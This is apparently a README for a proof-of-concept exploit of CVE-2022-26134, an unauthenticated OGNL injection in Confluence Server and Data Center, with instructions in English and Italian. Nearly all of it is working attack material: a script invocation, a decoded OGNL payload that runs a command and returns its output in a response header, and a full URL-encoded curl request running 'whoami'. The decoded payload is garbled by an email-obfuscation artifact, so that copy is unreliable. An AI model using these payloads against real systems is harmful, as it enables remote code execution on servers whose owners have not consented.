
CVE-2022-26134 Confluence OGNL Injection POC
In affected versions of Confluence Server and Data Center,
an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code
on a Confluence Server or Data Center instance.
python3 confluence.py -u http://127.0.0.1 -c whoamiPayload decodificato URL:
/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("COMMAND").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
Questo esegue il comando sul server target e restituisce l'output all'interno dell'header X-Cmd-Response.
Puoi anche usare curl:
curl -kI "http://127.0.0.1/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"